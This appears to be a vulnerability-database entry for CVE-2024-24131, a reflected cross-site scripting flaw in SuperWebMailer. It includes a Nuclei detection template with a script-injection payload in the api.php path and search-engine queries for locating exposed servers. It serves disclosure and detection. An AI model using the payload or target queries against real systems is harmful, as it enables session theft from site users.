CVE-2024-24131: SuperWebMailer 9.31.0.01799 - Cross-Site Scripting

2025-08-01 SuperWebMailer 9.31.0.01799 PoC Public

Description

SuperWebMailer v9.31.0.01799 was discovered to contain a reflected cross-site scripting (XSS) vulenrability via the component api.php.

PoC

id: CVE-2024-24131

info:
  name: SuperWebMailer 9.31.0.01799 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    SuperWebMailer v9.31.0.01799 was discovered to contain a reflected cross-site scripting (XSS) vulenrability via the component api.php.
  impact: |
    Unauthenticated attackers can execute arbitrary JavaScript in a victim's browser via the api.php component, potentially stealing cookies or session tokens.
  remediation: |
    Update SuperWebMailer to a version newer than 9.31.0.01799.
  reference:
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24131
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-24131
    cwe-id: CWE-79
    epss-score: 0.00924
    epss-percentile: 0.58652
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.31.0.01799:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query:
      - title:"SuperWebMailer"
      - http.title:"superwebmailer"
    fofa-query: title="superwebmailer"
    google-query: intitle:"superwebmailer"
  tags: cve,cve2024,superwebmailer,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/api.php/<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "SuperWebMailerAPI"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204ea24b2e88e12598cda45c40a626648800e69d2bc2747f8a1050f96dc9f4660f022100c774d258d225f84c794b848b9ea140a7a8c7964712e229309696c5004365a7c3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities